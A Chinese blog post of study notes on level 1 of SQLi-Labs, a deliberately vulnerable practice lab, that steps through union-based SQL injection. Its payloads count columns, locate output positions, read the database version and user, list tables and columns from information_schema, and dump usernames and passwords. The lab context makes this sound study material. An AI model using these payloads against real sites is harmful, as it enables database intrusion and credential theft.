美文网首页
SQLi-Labs通过笔记

SQLi-Labs通过笔记

作者: Fan0y | 来源:发表于2020-04-22 16:46 被阅读0次

    less-1

    根据提示输入id=1,添加单引号后报错。


    image.png

    一般可以使用联合表的方式来提取自己感兴趣的信息(union),但是使用union语句有个前提就是union 后面的语句必须与前面的语句字段数以及类型必须一直,否则数据库会报错。例如:
    select 字段1,字段2 from tab1 union select 字段a,字段b from tab2
    在这条sql语句中union前面的sql语句中的字段数应该与union后面的sql语句字段数一致,而且字段1与字段a类型相同,字段2与字段b类型相同。
    所有我们现在使用order by 查询字段数。当

    ?id=1%27%20order%20by%204%23
    
    image.png

    报错,则推断原本的sql语句只是有用到了三个字段。
    我们现在查询显示位

    id=%27%20union%20select%201,2,3%23
    

    发现显示位在2,3

    注:我的数据库是mysql

    mysql中的注释常用两种方式--+与#,#在url中需要编码为%23以。

    获取数据库版本,数据库路径,当前用户,当前数据库:

    ' union select 1,concat_ws('_',user(),version(),database()),@@basedir%23
    
    image.png

    利用元数据库来爆表、爆数据

    ' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
    
    image.png

    利用元数据库来爆列

    ' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
    

    利用元数据库来爆值

    ' union select 1,group_concat(username,password),3 from users--+
    

    相关文章

      网友评论

          本文标题:SQLi-Labs通过笔记

          本文链接:https://www.haomeiwen.com/subject/yloiihtx.html